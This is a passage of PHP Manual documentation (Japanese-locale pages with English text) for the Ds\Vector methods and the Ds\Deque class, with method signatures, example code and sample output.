上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ≪ Ds\Vector::filter
  • Ds\Vector::first ≫
  • PHP Manual
  • Vector
  • Attempts to find a value's index

Ds\Vector::find

(PECL ds >= 1.0.0)

Ds\Vector::find — Attempts to find a value's index

説明

public Ds\Vector::find ( mixed $value ) : mixed

Returns the index of the value, or false if not found.

パラメータ

value

The value to find.

返り値

The index of the value, or false if not found.

注意:

Values will be compared by value and by type.

例

例1 Ds\Vector::find() example

<?php
$vector = new \Ds\Vector(["a", 1, true]);

var_dump($vector->find("a")); // 0
var_dump($vector->find("b")); // false
var_dump($vector->find("1")); // false
var_dump($vector->find(1));   // 1
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the vector

  • ≪ Ds\Vector::find
  • Ds\Vector::get ≫
  • PHP Manual
  • Vector
  • Returns the first value in the vector

Ds\Vector::first

(PECL ds >= 1.0.0)

Ds\Vector::first — Returns the first value in the vector

説明

public Ds\Vector::first ( ) : mixed

Returns the first value in the vector.

パラメータ

この関数にはパラメータはありません。

返り値

The first value in the vector.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Vector::first() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->first());
?>

上の例の出力は、 たとえば以下のようになります。

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ≪ Ds\Vector::first
  • Ds\Vector::insert ≫
  • PHP Manual
  • Vector
  • Returns the value at a given index

Ds\Vector::get

(PECL ds >= 1.0.0)

Ds\Vector::get — Returns the value at a given index

説明

public Ds\Vector::get ( int $index ) : mixed

Returns the value at a given index.

パラメータ

index

The index to access, starting at 0.

返り値

The value at the requested index.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Vector::get() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->get(0));
var_dump($vector->get(1));
var_dump($vector->get(2));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

例2 Ds\Vector::get() example using array syntax

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector[0]);
var_dump($vector[1]);
var_dump($vector[2]);
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ≪ Ds\Vector::get
  • Ds\Vector::isEmpty ≫
  • PHP Manual
  • Vector
  • Inserts values at a given index

Ds\Vector::insert

(PECL ds >= 1.0.0)

Ds\Vector::insert — Inserts values at a given index

説明

public Ds\Vector::insert ( int $index , mixed ...$values ) : void

Inserts values into the vector at a given index.

パラメータ

index

The index at which to insert. 0 <= index <= count

注意:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Vector::insert() example

<?php
$vector = new \Ds\Vector();

$vector->insert(0, "e");             // [e]
$vector->insert(1, "f");             // [e, f]
$vector->insert(2, "g");             // [e, f, g]
$vector->insert(0, "a", "b");        // [a, b, e, f, g]
$vector->insert(2, ...["c", "d"]);   // [a, b, c, d, e, f, g]

var_dump($vector);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the vector is empty

  • ≪ Ds\Vector::insert
  • Ds\Vector::join ≫
  • PHP Manual
  • Vector
  • Returns whether the vector is empty

Ds\Vector::isEmpty

(PECL ds >= 1.0.0)

Ds\Vector::isEmpty — Returns whether the vector is empty

説明

public Ds\Vector::isEmpty ( ) : bool

Returns whether the vector is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the vector is empty, false otherwise.

例

例1 Ds\Vector::isEmpty() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ≪ Ds\Vector::isEmpty
  • Ds\Vector::jsonSerialize ≫
  • PHP Manual
  • Vector
  • Joins all values together as a string

Ds\Vector::join

(PECL ds >= 1.0.0)

Ds\Vector::join — Joins all values together as a string

説明

public Ds\Vector::join ( string $glue = ? ) : string

Joins all values together as a string using an optional separator between each value.

パラメータ

glue

An optional string to separate each value.

返り値

All values of the vector joined together as a string.

例

例1 Ds\Vector::join() example using a separator string

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join("|"));
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "a|b|c|1|2|3"

例2 Ds\Vector::join() example without a separator string

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join());
?>

上の例の出力は、 たとえば以下のようになります。

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Vector::join
  • Ds\Vector::last ≫
  • PHP Manual
  • Vector
  • Returns a representation that can be converted to JSON

Ds\Vector::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ≪ Ds\Vector::jsonSerialize
  • Ds\Vector::map ≫
  • PHP Manual
  • Vector
  • Returns the last value

Ds\Vector::last

(PECL ds >= 1.0.0)

Ds\Vector::last — Returns the last value

説明

public Ds\Vector::last ( ) : mixed

Returns the last value in the vector.

パラメータ

この関数にはパラメータはありません。

返り値

The last value in the vector.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Vector::last() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->last());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ≪ Ds\Vector::last
  • Ds\Vector::merge ≫
  • PHP Manual
  • Vector
  • Returns the result of applying a callback to each value

Ds\Vector::map

(PECL ds >= 1.0.0)

Ds\Vector::map — Returns the result of applying a callback to each value

説明

public Ds\Vector::map ( callable $callback ) : Ds\Vector

Returns the result of applying a callback function to each value in the vector.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the vector.

The callable should return what the new value will be in the new vector.

返り値

The result of applying a callback to each value in the vector.

注意:

The values of the current instance won't be affected.

例

例1 Ds\Vector::map() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

print_r($vector->map(function($value) { return $value * 2; }));
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the vector

  • ≪ Ds\Vector::map
  • Ds\Vector::pop ≫
  • PHP Manual
  • Vector
  • Returns the result of adding all given values to the vector

Ds\Vector::merge

(PECL ds >= 1.0.0)

Ds\Vector::merge — Returns the result of adding all given values to the vector

説明

public Ds\Vector::merge ( mixed $values ) : Ds\Vector

Returns the result of adding all given values to the vector.

パラメータ

values

A traversable object or an array.

返り値

The result of adding all given values to the vector, effectively the same as adding the values to a copy, then returning that copy.

注意:

The current instance won't be affected.

例

例1 Ds\Vector::merge() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->merge([4, 5, 6]));
var_dump($vector);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ≪ Ds\Vector::merge
  • Ds\Vector::push ≫
  • PHP Manual
  • Vector
  • Removes and returns the last value

Ds\Vector::pop

(PECL ds >= 1.0.0)

Ds\Vector::pop — Removes and returns the last value

説明

public Ds\Vector::pop ( ) : mixed

Removes and returns the last value.

パラメータ

この関数にはパラメータはありません。

返り値

The removed last value.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Vector::pop() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->pop());
var_dump($vector->pop());
var_dump($vector->pop());
?>

上の例の出力は、 たとえば以下のようになります。

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the vector

  • ≪ Ds\Vector::pop
  • Ds\Vector::reduce ≫
  • PHP Manual
  • Vector
  • Adds values to the end of the vector

Ds\Vector::push

(PECL ds >= 1.0.0)

Ds\Vector::push — Adds values to the end of the vector

説明

public Ds\Vector::push ( mixed ...$values ) : void

Adds values to the end of the vector.

パラメータ

values

The values to add.

返り値

値を返しません。

例

例1 Ds\Vector::push() example

<?php
$vector = new \Ds\Vector();

$vector->push("a");
$vector->push("b");
$vector->push("c", "d");
$vector->push(...["e", "f"]);

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the vector to a single value using a callback function

  • ≪ Ds\Vector::push
  • Ds\Vector::remove ≫
  • PHP Manual
  • Vector
  • Reduces the vector to a single value using a callback function

Ds\Vector::reduce

(PECL ds >= 1.0.0)

Ds\Vector::reduce — Reduces the vector to a single value using a callback function

説明

public Ds\Vector::reduce ( callable $callback , mixed $initial = ? ) : mixed

Reduces the vector to a single value using a callback function.

パラメータ

callback
callback ( mixed $carry , mixed $value ) : mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返り値

The return value of the final callback.

例

例1 Ds\Vector::reduce() with initial value example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
    return $carry * $value;
};

var_dump($vector->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 =  5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

上の例の出力は、 たとえば以下のようになります。

int(30)

例2 Ds\Vector::reduce() without an initial value example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->reduce(function($carry, $value) {
    return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 =  6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

上の例の出力は、 たとえば以下のようになります。

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ≪ Ds\Vector::reduce
  • Ds\Vector::reverse ≫
  • PHP Manual
  • Vector
  • Removes and returns a value by index

Ds\Vector::remove

(PECL ds >= 1.0.0)

Ds\Vector::remove — Removes and returns a value by index

説明

public Ds\Vector::remove ( int $index ) : mixed

Removes and returns a value by index.

パラメータ

index

The index of the value to remove.

返り値

The value that was removed.

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Vector::remove() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->remove(1));
var_dump($vector->remove(0));
var_dump($vector->remove(0));
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the vector in-place

  • ≪ Ds\Vector::remove
  • Ds\Vector::reversed ≫
  • PHP Manual
  • Vector
  • Reverses the vector in-place

Ds\Vector::reverse

(PECL ds >= 1.0.0)

Ds\Vector::reverse — Reverses the vector in-place

説明

public Ds\Vector::reverse ( ) : void

Reverses the vector in-place.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Vector::reverse() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);
$vector->reverse();

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ≪ Ds\Vector::reverse
  • Ds\Vector::rotate ≫
  • PHP Manual
  • Vector
  • Returns a reversed copy

Ds\Vector::reversed

(PECL ds >= 1.0.0)

Ds\Vector::reversed — Returns a reversed copy

説明

public Ds\Vector::reversed ( ) : Ds\Vector

Returns a reversed copy of the vector.

パラメータ

この関数にはパラメータはありません。

返り値

A reversed copy of the vector.

注意:

The current instance is not affected.

例

例1 Ds\Vector::reversed() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

print_r($vector->reversed());
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the vector by a given number of rotations

  • ≪ Ds\Vector::reversed
  • Ds\Vector::set ≫
  • PHP Manual
  • Vector
  • Rotates the vector by a given number of rotations

Ds\Vector::rotate

(PECL ds >= 1.0.0)

Ds\Vector::rotate — Rotates the vector by a given number of rotations

説明

public Ds\Vector::rotate ( int $rotations ) : void

Rotates the vector by a given number of rotations, which is equivalent to successively calling $vector->push($vector->shift()) if the number of rotations is positive, or $vector->unshift($vector->pop()) if negative.

パラメータ

rotations

The number of times the vector should be rotated.

返り値

値を返しません。. The vector of the current instance will be rotated.

例

例1 Ds\Vector::rotate() example

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d"]);

$vector->rotate(1);  // "a" is shifted, then pushed.
print_r($vector);

$vector->rotate(2);  // "b" and "c" are both shifted, the pushed.
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ≪ Ds\Vector::rotate
  • Ds\Vector::shift ≫
  • PHP Manual
  • Vector
  • Updates a value at a given index

Ds\Vector::set

(PECL ds >= 1.0.0)

Ds\Vector::set — Updates a value at a given index

説明

public Ds\Vector::set ( int $index , mixed $value ) : void

Updates a value at a given index.

パラメータ

index

The index of the value to update.

value

The new value.

返り値

値を返しません。

エラー / 例外

OutOfRangeException if the index is not valid.

例

例1 Ds\Vector::set() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector->set(1, "_");
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

例2 Ds\Vector::set() example using array syntax

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector[1] = "_";
print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ≪ Ds\Vector::set
  • Ds\Vector::slice ≫
  • PHP Manual
  • Vector
  • Removes and returns the first value

Ds\Vector::shift

(PECL ds >= 1.0.0)

Ds\Vector::shift — Removes and returns the first value

説明

public Ds\Vector::shift ( ) : mixed

Removes and returns the first value.

パラメータ

この関数にはパラメータはありません。

返り値

The first value, which was removed.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Vector::shift() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->shift());
var_dump($vector->shift());
var_dump($vector->shift());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-vector of a given range

  • ≪ Ds\Vector::shift
  • Ds\Vector::sort ≫
  • PHP Manual
  • Vector
  • Returns a sub-vector of a given range

Ds\Vector::slice

(PECL ds >= 1.0.0)

Ds\Vector::slice — Returns a sub-vector of a given range

説明

public Ds\Vector::slice ( int $index , int $length = ? ) : Ds\Vector

Creates a sub-vector of a given range.

パラメータ

index

The index at which the sub-vector starts.

If positive, the vector will start at that index in the vector. If negative, the vector will start that far from the end.

length

If a length is given and is positive, the resulting vector will have up to that many values in it. If the length results in an overflow, only values up to the end of the vector will be included. If a length is given and is negative, the vector will stop that many values from the end. If a length is not provided, the resulting vector will contain all values between the index and the end of the vector.

返り値

A sub-vector of the given range.

例

例1 Ds\Vector::slice() example

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($vector->slice(2));

// Slice from 1, for a length of 3
print_r($vector->slice(1, 3));

// Slice from 1 onwards
print_r($vector->slice(1));

// Slice from 2 from the end onwards
print_r($vector->slice(-2));

// Slice from 1 to 1 from the end
print_r($vector->slice(1, -1));
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the vector in-place

  • ≪ Ds\Vector::slice
  • Ds\Vector::sorted ≫
  • PHP Manual
  • Vector
  • Sorts the vector in-place

Ds\Vector::sort

(PECL ds >= 1.0.0)

Ds\Vector::sort — Sorts the vector in-place

説明

public Ds\Vector::sort ( callable $comparator = ? ) : void

Sorts the vector in-place, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

値を返しません。

例

例1 Ds\Vector::sort() example

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);
$vector->sort();

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Vector::sort() example using a comparator

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$vector->sort(function($a, $b) {
    return $b <=> $a;
});

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ≪ Ds\Vector::sort
  • Ds\Vector::sum ≫
  • PHP Manual
  • Vector
  • Returns a sorted copy

Ds\Vector::sorted

(PECL ds >= 1.0.0)

Ds\Vector::sorted — Returns a sorted copy

説明

public Ds\Vector::sorted ( callable $comparator = ? ) : Ds\Vector

Returns a sorted copy, using an optional comparator function.

パラメータ

comparator

比較関数は、最初の引数と二番目の引数の比較結果を返します。最初の引数のほうが二番目の引数より大きい場合は正の数を、二番目の引数と等しい場合はゼロを、そして二番目の引数より小さい場合は負の数を返す必要があります。

callback ( mixed $a, mixed $b ) : int
警告

Returning non-integer values from the comparison function, such as float, will result in an internal cast to int of the callback's return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal.

返り値

Returns a sorted copy of the vector.

例

例1 Ds\Vector::sorted() example

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($vector->sorted());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

例2 Ds\Vector::sorted() example using a comparator

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $vector->sorted(function($a, $b) {
    return $b <=> $a;
});

print_r($sorted);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the vector

  • ≪ Ds\Vector::sorted
  • Ds\Vector::toArray ≫
  • PHP Manual
  • Vector
  • Returns the sum of all values in the vector

Ds\Vector::sum

(PECL ds >= 1.0.0)

Ds\Vector::sum — Returns the sum of all values in the vector

説明

public Ds\Vector::sum ( ) : int|float

Returns the sum of all values in the vector.

注意:

Arrays and objects are considered equal to zero when calculating the sum.

パラメータ

この関数にはパラメータはありません。

返り値

The sum of all the values in the vector as either a float or int depending on the values in the vector.

例

例1 Ds\Vector::sum() integer example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->sum());
?>

上の例の出力は、 たとえば以下のようになります。

int(6)

例2 Ds\Vector::sum() float example

<?php
$vector = new \Ds\Vector([1, 2.5, 3]);
var_dump($vector->sum());
?>

上の例の出力は、 たとえば以下のようになります。

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the vector to an array

  • ≪ Ds\Vector::sum
  • Ds\Vector::unshift ≫
  • PHP Manual
  • Vector
  • Converts the vector to an array

Ds\Vector::toArray

(PECL ds >= 1.0.0)

Ds\Vector::toArray — Converts the vector to an array

説明

public Ds\Vector::toArray ( ) : array

Converts the vector to an array.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the vector.

例

例1 Ds\Vector::toArray() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the vector

  • ≪ Ds\Vector::toArray
  • Deque ≫
  • PHP Manual
  • Vector
  • Adds values to the front of the vector

Ds\Vector::unshift

(PECL ds >= 1.0.0)

Ds\Vector::unshift — Adds values to the front of the vector

説明

public Ds\Vector::unshift ( mixed $values = ? ) : void

Adds values to the front of the vector, moving all the current values forward to make room for the new values.

パラメータ

values

The values to add to the front of the vector.

注意:

Multiple values will be added in the same order that they are passed.

返り値

値を返しません。

例

例1 Ds\Vector::unshift() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$vector->unshift("a");
$vector->unshift("b", "c");

print_r($vector);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


The Deque class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A Deque (pronounced "deck") is a sequence of values in a contiguous buffer that grows and shrinks automatically. The name is a common abbreviation of "double-ended queue" and is used internally by Ds\Queue.

Two pointers are used to keep track of a head and a tail. The pointers can "wrap around" the end of the buffer, which avoids the need to move other values around to make room. This makes shift and unshift very fast?—? something a Ds\Vector can't compete with.

Accessing a value by index requires a translation between the index and its corresponding position in the buffer: ((head + position) % capacity).

Strengths

  • Supports array syntax (square brackets).
  • Uses less overall memory than an array for the same number of values.
  • Automatically frees allocated memory when its size drops low enough.
  • get(),
set(),
push(),
pop(),
shift(), and
unshift() are all O(1).

Weaknesses

  • Capacity must be a power of 2.
  • insert() and remove() are O(n).

クラス概要

Ds\Deque implements Ds\Sequence , ArrayAccess {
/* Constants */
const int MIN_CAPACITY = 8 ;
/* メソッド */
public allocate ( int $capacity ) : void
public apply ( callable $callback ) : void
public capacity ( ) : int
public clear ( ) : void
public contains ( mixed ...$values ) : bool
public copy ( ) : Ds\Deque
public filter ( callable $callback = ? ) : Ds\Deque
public find ( mixed $value ) : mixed
public first ( ) : mixed
public get ( int $index ) : mixed
public insert ( int $index , mixed ...$values ) : void
public isEmpty ( ) : bool
public join ( string $glue = ? ) : string
public last ( ) : mixed
public map ( callable $callback ) : Ds\Deque
public merge ( mixed $values ) : Ds\Deque
public pop ( ) : mixed
public push ( mixed ...$values ) : void
public reduce ( callable $callback , mixed $initial = ? ) : mixed
public remove ( int $index ) : mixed
public reverse ( ) : void
public reversed ( ) : Ds\Deque
public rotate ( int $rotations ) : void
public set ( int $index , mixed $value ) : void
public shift ( ) : mixed
public slice ( int $index , int $length = ? ) : Ds\Deque
public sort ( callable $comparator = ? ) : void
public sorted ( callable $comparator = ? ) : Ds\Deque
public sum ( ) : int|float
public toArray ( ) : array
public unshift ( mixed $values = ? ) : void
}

定義済み定数

Ds\Deque::MIN_CAPACITY

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Deque::allocate — Allocates enough memory for a required capacity
  • Ds\Deque::apply — Updates all values by applying a callback function to each value
  • Ds\Deque::capacity — Returns the current capacity
  • Ds\Deque::clear — Removes all values from the deque
  • Ds\Deque::__construct — Creates a new instance
  • Ds\Deque::contains — Determines if the deque contains given values
  • Ds\Deque::copy — Returns a shallow copy of the deque
  • Ds\Deque::count — Returns the number of values in the collection
  • Ds\Deque::filter — Creates a new deque using a callable to determine which values to include
  • Ds\Deque::find — Attempts to find a value's index
  • Ds\Deque::first — Returns the first value in the deque
  • Ds\Deque::get — Returns the value at a given index
  • Ds\Deque::insert — Inserts values at a given index
  • Ds\Deque::isEmpty — Returns whether the deque is empty
  • Ds\Deque::join — Joins all values together as a string
  • Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Deque::last — Returns the last value
  • Ds\Deque::map — Returns the result of applying a callback to each value
  • Ds\Deque::merge — Returns the result of adding all given values to the deque
  • Ds\Deque::pop — Removes and returns the last value
  • Ds\Deque::push — Adds values to the end of the deque
  • Ds\Deque::reduce — Reduces the deque to a single value using a callback function
  • Ds\Deque::remove — Removes and returns a value by index
  • Ds\Deque::reverse — Reverses the deque in-place
  • Ds\Deque::reversed — Returns a reversed copy
  • Ds\Deque::rotate — Rotates the deque by a given number of rotations
  • Ds\Deque::set — Updates a value at a given index
  • Ds\Deque::shift — Removes and returns the first value
  • Ds\Deque::slice — Returns a sub-deque of a given range
  • Ds\Deque::sort — Sorts the deque in-place
  • Ds\Deque::sorted — Returns a sorted copy
  • Ds\Deque::sum — Returns the sum of all values in the deque
  • Ds\Deque::toArray — Converts the deque to an array
  • Ds\Deque::unshift — Adds values to the front of the deque

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Deque
  • Ds\Deque::apply ≫
  • PHP Manual
  • Deque
  • Allocates enough memory for a required capacity

Ds\Deque::allocate

(PECL ds >= 1.0.0)

Ds\Deque::allocate — Allocates enough memory for a required capacity

説明

public Ds\Deque::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

注意:

Capacity will always be rounded up to the nearest power of 2.

返り値

値を返しません。

例

例1 Ds\Deque::allocate() example

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->allocate(100);
var_dump($deque->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ≪ Ds\Deque::allocate
  • Ds\Deque::capacity ≫
  • PHP Manual
  • Deque
  • Updates all values by applying a callback function to each value

Ds\Deque::apply

(PECL ds >= 1.0.0)

Ds\Deque::apply — Updates all values by applying a callback function to each value

説明

public Ds\Deque::apply ( callable $callback ) : void

Updates all values by applying a callback function to each value in the deque.

パラメータ

callback

callback ( mixed $value ) : mixed

A callable to apply to each value in the deque.

The callback should return what the value should be replaced by.

返り値

値を返しません。

例

例1 Ds\Deque::apply() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
$deque->apply(function($value) { return $value * 2; });

print_r($deque);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Deque::apply
  • Ds\Deque::clear ≫
  • PHP Manual
  • Deque
  • Returns the current capacity

Ds\Deque::capacity

(PECL ds >= 1.0.0)

Ds\Deque::capacity — Returns the current capacity

説明

public Ds\Deque::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Deque::capacity() example

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->push(...range(1, 50));
var_dump($deque->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values from the deque

  • ≪ Ds\Deque::capacity
  • Ds\Deque::__construct ≫
  • PHP Manual
  • Deque
  • Removes all values from the deque

Ds\Deque::clear

(PECL ds >= 1.0.0)

Ds\Deque::clear — Removes all values from the deque

説明

public Ds\Deque::clear ( ) : void

Removes all values from the deque.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Deque::clear() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
print_r($deque);

$deque->clear();
